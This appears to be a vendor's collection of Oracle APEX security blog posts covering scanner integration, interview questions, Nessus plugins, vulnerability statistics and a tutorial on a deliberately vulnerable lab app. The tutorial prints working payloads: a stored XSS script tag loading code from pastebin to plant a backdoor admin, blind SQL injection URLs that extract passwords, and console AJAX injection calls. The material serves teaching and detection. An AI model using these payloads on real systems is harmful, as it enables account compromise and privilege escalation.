Every time you alter your Oracle APEX applications, whether it be by modifying some code, changing a setting, or adding something new, you could be diminishing your application’s security by introducing new vulnerabilities.
Our ApexSec desktop product is a powerful tool for security analysis of Oracle APEX applications. On its own it is capable of providing you with a detailed report of the security of your APEX application in its current state and advising you how to secure it, and with its integrated APEX builder you can make the necessary changes on the spot. This has proven to be invaluable to individuals and businesses attempting to secure their applications in the run up to go-live.
However, when you encounter vulnerabilities that require you to change the logic or functionality of your application, doing so towards the end of development proves to be more difficult (or at least more time consuming) than doing so throughout the development process, and can lead to a major overhaul of your application’s design. Being able to keep track of your application’s security throughout the entire development process is the key to achieving both security and efficiency.
ApexSec can be run effectively using a Continuous Integration product like Hudson. You can set up a Hudson build to run ApexSec periodically, this could be every hour, every day or every week. The time-frame is up to you. This means that rather than running ApexSec against your applications manually when you see fit, Hudson will do it automatically, and it will paint a very clear picture of how your changes have altered the security of your application using a graph and report. (A full guide to setting up ApexSec with Hudson). Using our BigBagBlog application we can illustrate how this gives you the ability to strictly monitor how every change, or a collection of changes, affect the security of your application.
Above is the job dashboard screen in Hudson after first running builds using ApexSec. You can see a graph showing the total number of items found (count). You can also see the total number of ‘Passed’ (secure), ‘Failed’ (insecure) and ‘Skipped’ (false positive) items which can be seen in more detail by clicking on ‘Latest Test Results’. This means that if you schedule Hudson to run periodically, for example every hour, it will begin to give you feedback regarding the changes to your applications security during that time period.
Now, if we introduce some vulnerabilities in the time between builds you will see something similar to this:
Straight away you can see an increase in the number of failed (insecure) items from the previous Hudson build. This is because ApexSec has detected new vulnerabilities in your application. This means you have done something to create these new vulnerabilities. It’s important to bear in mind the time frame can be easily altered by changing the settings of your Hudson build.
From this point there are a few things you can do. You can review the output generated by ApexSec using Hudson by clicking on ‘Latest Test Results’. You can also launch ApexSec and open the project file for your application. This will give you full details of the new vulnerabilities and our recommendations for resolving them. Don’t forget, all Hudson is doing is continuously running ApexSec against your application, it still creates and updates a standard ApexSec project file, it is just updated more regularly and therefore is a more accurate representation of the current security stance of your application.
– Open your project file with ApexSec for a more detailed description of your new vulnerabilities, including recommendations to resolve them.
Now that you have now been made aware of these new vulnerabilities in your APEX application, you can follow the recommendations provided by ApexSec to resolve these problems as they occur, which is a lot less hassle than trying to do so towards the end of development.
With ApexSec scanning your application periodically using Hudson you end up with a real-time representation of the security of your application and also a plethora of information regarding it’s security throughout the entire development process.
For a complete guide on continuous integration with ApexSec, visit our website.
Or contact us for more information regarding our products and services.
We’ve interviewed candidates for a range of positions throughout our careers, sometimes these are just question based, and some had a technical assessment element. Best of all were the general discussions over a beer. So we like the ethos of the APEX interview questions blog post, as a guide to what should be talked over, but we think the security section could use a little refinement. Below we’ve listed fourteen questions that an interviewer could ask their candidates to judge their overall security awareness with Oracle APEX applications. The skill in assessing the candidate is perhaps not their complete and accurate responses to the questions, but how they handle difficult problems and their thought processes when problem solving.
Interview questions on Oracle APEX security:
Discuss why allowing a user to set an item’s value can, in some cases, be dangerous.
Describe three ways an APEX item value can be set by a user.
Explain how the different protection settings can be used to protect item values from being set by the user.
What class of vulnerability can be introduced by using substitution variables in SQL with APEX applications?
Describe another way such security risks can be present in an APEX application.
What’s the difference between a Standard Report Column and one that is set to Display as Text (escape special characters)?
What type of vulnerability can result from using the former type?
Why would you use a Standard Report Column rather than the other type?
How can you ensure that the data displayed in a Standard Report Column is safe?
Describe another way that this vulnerability class can be introduced into your APEX applications.
What’s the difference between authentication and authorisation?
Describe several policies that would normally be enforced for authentication?
If you have a report in your APEX application that should only be accessible to certain users, how can you protect it?
Which are the four things in APEX that can be protected with authorisation schemes?
Depending on the role we wouldn’t expect every candidate to answer all of these questions. But it could prove useful to explore some of them to ensure that security awareness is part of the selection criteria when interviewing for APEX developers.
If you’d like to learn more about Oracle APEX security, check out our eBook. Our US partners over at SkillBuilders also offer APEX specific security training. For answers to the above questions, contact us and we’ll send over details.
Recx have authored a selection of plugins for Tenable’s automated vulnerability analysis product Nessus. These facilitate the detection of Oracle APEX instances when networks are scanned by Nessus. The plugins can locate and analyse APEX web technology stacks to assist penetration testers, ethical hackers and network auditors in the identification of vulnerable versions of Oracle APEX on corporate networks.
In total Recx submitted thirteen plugins to Tenable all of which have been approved and are now including in their update feed for the Nessus Vulnerability Scanner. This allows Nessus to detect:
The presence of Oracle APEX on any web servers discovered during a network audit.
Determine the version of Oracle APEX in use.
If the APEX application builder interface is available.
Specific publicly disclosed vulnerabilities in the APEX instance.
Several vulnerabilities in the core of APEX have been released publicly and have Common Vulnerability and Exposure (CVE) references; the Recx plugins for Nessus can identify if these issues affect the discovered APEX instance:
CVE-2008-4005 – “Unspecified vulnerability in the Oracle Application Express component in Oracle Database 11.1.0.6 allows remote authenticated users to affect confidentiality, integrity, and availability via unknown vectors.”
CVE-2009-0981 – “Unspecified vulnerability in the Application Express component in Oracle Database 11.1.0.7 allows remote authenticated users to affect confidentiality, related to APEX.”
CVE-2009-1993 – “Unspecified vulnerability in the Application Express component in Oracle Database 3.0.1 allows remote authenticated users to affect confidentiality and integrity, related to FLOWS_030000.WWV_EXECUTE_IMMEDIATE.”
CVE-2010-0076 – “Unspecified vulnerability in the Application Express Application Builder component in Oracle Database 3.2.1.00.10 allows remote authenticated users to affect confidentiality, integrity, and availability via unknown vectors.”
CVE-2010-0892 – “Unspecified vulnerability in the Application Express component in Oracle Database Server 3.2.0.00.27 allows remote attackers to affect integrity via unknown vectors.”
CVE-2011-3525 – “Unspecified vulnerability in the Application Express component in Oracle Database Server 3.2 and 4.0 allows remote authenticated users to affect confidentiality, integrity, and availability, related to APEX developer user.”
CVE-2012-1708 – “Unspecified vulnerability in the Application Express component in Oracle Database Server 4.0 and 4.1 allows remote attackers to affect integrity via unknown vectors.”
These latter three issues were discovered and responsibly disclosed by Recx during the course of our ongoing vulnerability research into the Oracle APEX platform. These plugins are enabled by default:
Maintaining a current version of Oracle APEX is one part of the story to ensuring your environment is protected against cyber attacks. In addition to keeping the framework up-to-date, it’s critical to ensure that the deployed APEX applications are secured from web-level attacks such as SQL Injection and Cross-Site Scripting. Our
ApexSec product can perform automated code level inspection of your in-house APEX applications, allowing the identification of vulnerabilities and the rapid mitigation of exposures.
We thank everyone at Tenable for accepting and integrating our plugins into their world leading product. We hope this helps our customers and the wider community maintain a secure operating environment in which to host their APEX applications.
We’ve been shipping our Oracle Application Express static code analysis product ApexSec for a year now. During the course of the year we’ve personally analysed over 60 different applications. For a new product and a new company gaining market traction in a niche aspect of security this isn’t bad.
The applications we have seen have ranged in size from the small, at sub 10 pages, through to the large at over 200 pages. The average size across all the applications has been 21 pages. As we’ve done these assessments we’ve collected anonymous statistics on the volume of findings by type versus the size of the application in terms of pages.
Today we will provide some insight into the state of security in Oracle Application Express developed applications based on our dataset. What ApexSec Checks for:
The ApexSec security checks can be broadly broken down into five categories:
Access control: A set of Apex specific access control constraints to pages, form, fields and processes.
Configuration: Apex specific configuration options that enhance security of the application.
SQL Injection: An input validation issue which can lead to unauthorised arbitrary database access.
Cross Site Scripting: An input validation issue which can lead to a users session or the application becoming compromised.
Application logic: Variety of different vulnerabilities, some specific to Apex, others generic to the web, that manifest themselves through insecure development practices.
To provide some context in the larger sphere of web application security we’re going to focus on two of these areas specifically; SQL Injection and Cross Site Scripting. Both are very common types of web security vulnerability and not specific to Oracle Application Express.The Big Picture
At the forty thousand foot view the total percentage of applications indiscriminate of size or complexity that we’ve analysed that are vulnerable to these classes is as follows.
Cross Site Scripting
For Cross Site Scripting, a class of vulnerability which involves being able to inject JavaScript (client side code) into an application either in a reflective or persistent manner:
SQL Injection
For SQL Injection, where an external individual is able to manipulate database queries to either read or write in an unauthorized manner:
Considering our source sample set this is concerning as nearly 50% were less than 10 pages in size yet over 80% were vulnerable to Cross Site Scripting and 40% vulnerable to SQL injection. The reasons for the high proportion of small applications is due to our cloud service providing a free report for those with 15 pages or less combined with the fact our larger clients have bought copies to run in-house as part of their standard development processes, which we don’t get to see any results for. Another skew on the data is that older applications that have been developed on Apex 3 and lower and then moved onto Apex 4 are not protected by the increased security defaults that exist in Apex 4 and above.Applications with 20 pages or more If we then start focussing our attention on larger and more complex applications these percentages quickly increase. The first cut-off point we used were 20 pages or more. This becomes more representative at the low end of applications of at a moderate level of complexity, pages and business logic typically serving a single purpose.
The percentage vulnerable to Cross Site Scripting becomes 100% based on our sample set.
For SQL Injection we see the percentage increases to 73%. This can be explained due to the increase in application logic coupled with the interaction between queries and a variety of different pages.
Looking at the average distinct instances of SQL Injection and Cross Site Scripting per application of those with 20 pages or more that are vulnerable we see the following.
This serves as an indication that these vulnerabilities typically increase not just in their presence but actual prevalence in terms of distinct instances as complexity increases. Applications with 40 pages or more
When looking at applications with 40 pages or more we’re typically into the territory of enterprise applications. Looking at the percentage of total applications that are vulnerable to our two classes of issue we see the following breakdown. Again 100% for Cross Site Scripting:
An overall increase in the presence of SQL injection.
Again if we look at the average number of instances of these specific vulnerabilities across the vulnerable application we see an increase compared to smaller applications.
So we see that on average each vulnerable application of 40 or more pages has 19 separate instances of SQL Injection and 119 of Cross Site Scripting. Conclusions
In conclusion it’s clear from at least the Oracle Application Express applications we have personally looked at that with an increase in the number of pages and associated business logic comes the greater risk of being vulnerable.
The vulnerabilities found here are the same family of vulnerabilities found in most, if not all other web frameworks and should not be taken as a feature specific to Apex development. Code fixes are usually fairly trivial, a majority of the cost associated with fixing the vulnerabilities is searching for the code which is at fault.
So what are the next steps? If you would to see if your application is vulnerable please request a trial.
Welcome back, this week we will be discussing another page of the Big Bad Blog. If you haven’t read part 1 it might be a good idea to start there.
Just another reminder to ensure that you have downloaded the free version of ApexSec through the ApexSec Online Portal. If you want to try out the exploits then you should import the Big Bad Blog into a workspace and run it. Page 12 – Manage Users
This week we will be discussing the ‘Manage Users’ page, it might seem as though we have skipped a few pages (we’ll get back to those). Here at Recx we review a lot of applications for our clients, and this has to be absolutely the most common vulnerability that we find. So with that in mind we will continue…
Cross-Site Scripting – Report Display Type
When we sign into the Big Bad Blog with an administrator account we have the option to click on the ‘Manage Users’ tab. We are then shown a report page with a list of users. Administrators are shown in red and normal users blue.
Because the code in the report outputs HTML in the select statement to change the colour, the report column cannot be set to ‘Escape Special Characters‘. If we look at the code it appears that the developer has quite rightly escaped the values using htf.escape_sc.
However if we tell ApexSec to highlight the instance (by clicking on the down icon) it becomes apparent where the vulnerability is.
As we can see, the else clause in the case statement is at fault here, if the column isadmin is set to null the vulnerability will manifest itself. It just so happens that all new users that are created have the isadmin column in the database table set to null, this is a bug in the code but it serves us well here.
Note: This condition is made more serious in that an exploitable condition exists in a low security domain (normal user) that affects a higher domain (admin).
Exploit
As the field sizes are quite small we will need to transfer our exploit code from another server, pastebin is excellent for this purpose. We will place our exploit payload there.
We then go to the ‘Add User’ page of the Big Bad Blog and add a username of <script src=”http://pastebin.com/raw.php?i=nbj5a2mE”></script>. If you have created your own pastebin script then obviously use your own unique id.
A bug in the Big Bad Blog, results in the following message being displayed when the user is added.
The account has been created, and this error message can safely be ignored.
Exploit Trigger
When the administrator visits the ‘Manage Users’ page the exploit will run. We can sign in with the credentials username: admin password: admin and visit the ‘Manage Users’ page.
The exploit isn’t very subtle as you can see the html, but it serves our purpose here. Sign out of the administrator account after waiting for about 5 seconds (do not refresh the page). Then return to the login screen by using the logout link at the top right of the page.
Now we are back at the login screen you can login with the newly created ‘backdoor’ administrator user, with a password of ‘hi’.
Correcting the code
Simply escaping the username in the case statement by using htf.escape_sc ensures the vulnerability is corrected.
Note: Have you already corrected the code in the Big Bad Blog? Want to check your changes? Please request a trial and use ApexSec Desktop to scan your APEX application.
Thoughts
Getting the report columns correct can be quite tricky, just blindly setting the report column type to ‘escape special characters’ quickly breaks applications when double escaping occurs.
As can be seen from the example above under the right circumstances the effect of this can be devastating with privilege escalation being a common attack vector.
Only ApexSec can identify issues where the report column needs to be set to standard report column because of HTML constructs being passed from the underlying code.
If you want to discuss how to make your Oracle APEX applications secure, please contact us.
We have created the ‘Big Bad Blog’ based on common security problems that we have found in many of the applications that we have reviewed. This APEX 4.1 application is freely available to download. Import into your own workspace on apex.oracle.com or your own site (Do not use in shared workspace or sensitive systems). As we work through the security conditions and the appropriate fixes you should be able to identify various coding practices that are unsafe.
Followers of this series will have the opportunity to try out our ApexSec product and work through the examples to swiftly identify security problems within the application.
Before we start ensure that you have downloaded the free version of ApexSec by signing up for the ApexSec Portal and accessing the relevant version for your platform from the Security Console section. If you want to try out the exploits then you should have imported the Big Bad Blog into a workspace and run it.
Page 1 – Messages
This page is the core page of the Big Bad Blog. It is typical of the type of code which is a old and complicated, nobody dares to touch it and all changes have been bolted on in time. The entire page should be re-designed but there is no time, the biggest we have seen exceeded 150 lines of code.
Running ApexSec on this page reveals several security issues. This is quite typical for APEX code which has been coded in this manner.
As our application is quite small and we have compacted a lot of vulnerabilities into it, these vulnerabilities might seem obvious to you. Imagine a large app with 60+ pages, how long would it take? This is where ApexSec’s cost savings can be found.
SQL Injection – Cursor Open Statement
As this is considered the most serious of web based vulnerabilities we will cover these first. In ApexSec we will select the ‘Cursor Open’ SQL Injection entry on the tree. ApexSec will load offending SQL into the SQL viewer and enable you to move through the issues with the navigation arrows.
ApexSec shows quite clearly where the problematic concatenation occurs, in this case the items P1_AUTHOR and P1_SHOW are unsafely concatenated onto SQL which is passed into the open for statement.
Exploit
In this case by simply manipulating the URL, the injection can occur, this would lead to the compromise of a user’s password.
http://apex.oracle.com/pls/apex/f?p=<your app id>:1:<your session id>::NO::P1_SHOW:\5 AND EXISTS (select username from users where username = 'bob' and substr(password,1,1) = 'b')\
The request above, would display the blog entries if the guessed password character was correct. Then we can move through the password of the bob account by amending the substr statement. Paste these in immediately after the session id.
::NO::P1_SHOW:\5 AND EXISTS (select username from users where username = 'bob' and substr(password,1,1) = 'a')\
::NO::P1_SHOW:\5 AND EXISTS (select username from users where username = 'bob' and substr(password,1,1) = 'b')\
::NO::P1_SHOW:\5 AND EXISTS (select username from users where username = 'bob' and substr(password,2,1) = 'a')\
::NO::P1_SHOW:\5 AND EXISTS (select username from users where username = 'bob' and substr(password,3,1) = 'a')\
::NO::P1_SHOW:\5 AND EXISTS (select username from users where username = 'bob' and substr(password,3,1) = 'b')\
The password is found to be ‘bab’ and the account is compromised.
Correcting the code
In this case the fix should be to apply the using clause to the open for to properly bind the variable (in this case it is slightly more tricky due to the dynamic nature of the query.
SQL Injection – Execute Immediate Statement
Examining the code in the delete_message page process reveals a very similar vulnerability with the execute immediate statement.
In this case it is the AJAX call that is vulnerable with a very similar concatenate error as with the open for vulnerability.
Exploit
The easiest way to fire AJAX calls to APEX is to use the jquery interface. This can be done using the JavaScript console (in Firefox; Tools->Web Console, in chrome; Tools -> JavaScript Console)
The following JavaScript typed into the console will delete message 261 if the password begins with ‘a’. The exploit is exactly the same as previously but with a slightly different attack vector.
var get = new htmldb_Get(null,<app id>,'APPLICATION_PROCESS=delete_message',1);get.addParam('x01','<message id> AND EXISTS (select username from users where username = \'bob\' and substr(password,1,1) = \'a\')'); gReturn = get.get();
<app id> Should be set to the application id, <message id> should be retrieved from the HTML source of the page. Searching for “Alice Greeting” should reveal the following source (The message id is in bold);
<B>Alice Greeting</B> by <i>alice</i> <a href="javascript:location.reload(true)" onClick="JavaScript:var get = new htmldb_Get(null,<app id>,'APPLICATION_PROCESS=like_message',1);get.addParam('x01','241');gReturn = get.get();">Like</a> <p>Hi, I am Alice a normal user that can create posts, my password is 'alice'</p>
So a similar sequence as before should reveal the password one character at a time. Submit the following;
var get = new htmldb_Get(null,<app id>,'APPLICATION_PROCESS=delete_message',1); get.addParam('x01','241 AND EXISTS (select username from users where username = \'bob\' and substr(password,1,1) = \'a\')'); gReturn = get.get();
Reload the page, nothing happens (password does not begin with ‘a’). Then:
var get = new htmldb_Get(null,<app id>,'APPLICATION_PROCESS=delete_message',1); get.addParam('x01','241 AND EXISTS (select username from users where username = \'bob\' and substr(password,1,1) = \'b\')'); gReturn = get.get();
Reload the page, the “Alice Greeting” message will be deleted. therefore the first character of the password is ‘b’.
Correcting the code
Again it is a case of properly binding the variable into the execute immediate statement as follows.
Cross-Site Scripting
The first two instances of cross-site scripting are quite simple, outputting direct to the HTTP stream via htp.p calls without escaping is generally a bad idea.
Here the two variables title and author are pulled from the cursor and output directly, this leads to the vulnerability. If we forward to the third instance we can see a similar error but this time it is the result of a concatenation.
All three instances are exploitable but we will concentrate on the third instance.
Exploit
Note: Some browsers may block this very simple XSS (notably chrome), code should not rely on the features of browsers to protect the site.
As we found the password for ‘bob’ earlier we might as well abuse this account. Login with username ‘bob’ and password ‘bab’. To exploit this cross-site scripting vulnerability we need to change the full name using the My Details Tab in the Big Bad Blog.
Then when we ‘like’ a post in the blog the vulnerability will executed. This is an over simple example of an exploit but this is a blog about detection, not exploitation.
Correcting the code
Any variables that arrive from the database or from user input should be escaped using the htf.escape_sc function, this will ensure that any HTML tags and features are adequately escaped before outputting to the stream.
Page Access Protection
APEX provides protection against URL manipulation through Session State Protection where the URL is protected by a checksum, so the parameters cannot be modified. However, this should not be used to mitigate the underlying dangerous PL/SQL and SQL Injection issue. In fact, if we enabled SSP on this page the issue would still be exploitable by setting the P1_SHOW variable on any other page that did not have SSP enabled.
On the Messages page security settings we will set Page Access Protection to ‘Arguments Must Have Checksum’ and at the same time turn off the Autocomplete feature.
Item Protection
Using Item Protection on P1_SHOW and P1_AUTHOR will only protect these items from URL tampering. We will set the item protection to ‘Checksum Required’.
Any attempts to manipulate these values from the URL as earlier in this tutorial will be correctly blocked by the APEX framework. However utilising the client side framework we can still submit the changes;
Exploit
Using the JavaScript console, we can change the pull down combo box to be an input box in the browser, there are many ways to achieve the same effect.
We can then submit the SQL injection as before. It is worth noting that all the security features of APEX are now fully activated, only the deep analysis engine of ApexSec will find the outstanding vulnerabilities in the code.
Public Page
ApexSec has no way of knowing if you intended to make the page public, usually there is only a handful of pages that are to be served to unauthenticated users. The Messages page should be public and this report item can be ignored.
Other Problems
There are logic problems that ApexSec will not find (and never will), these are logic flows where the application does not operate as intended.
One of these for example is the delete_message page process. The way that the process is coded means that any user can delete other users messages, this is clearly not the intention of the application.
The login username is displayed on posts, this would be highlighted in our security reviews. Once again an automated scan would not help here.
The passwords are kept in the clear in the database, this is clearly bad practice and cannot be detected currently by ApexSec.
Using ApexSec does not remove the requirement for a manual review. With the issues such as those documented above, eliminated by developers through use of ApexSec throughout the development lifecycle, the manual review effort can be more focused and cost effective.
Thoughts
Although the code we are showing can be easily discarded as “we wouldn’t code like that” and “that’s not how to do it”, these are based on real world examples. Some APEX code is old and because “it just works” nobody has taken a fresh look at the security posture.
At Recx we perform manual security audits of APEX code, we have developed tools and techniques over the past 18 months which we consider to be currently unique in the world. ApexSec is the automation of a selection of these techniques. We do not profess to be APEX feature experts or Oracle experts; we have one single focus, security. We devote our time into securing APEX code via detection and analysis.
If your business runs APEX code in production systems, if you have had non-permanent staff coding in your code base then a code review will give you peace of mind that the code running on your servers at least meets your required security standard.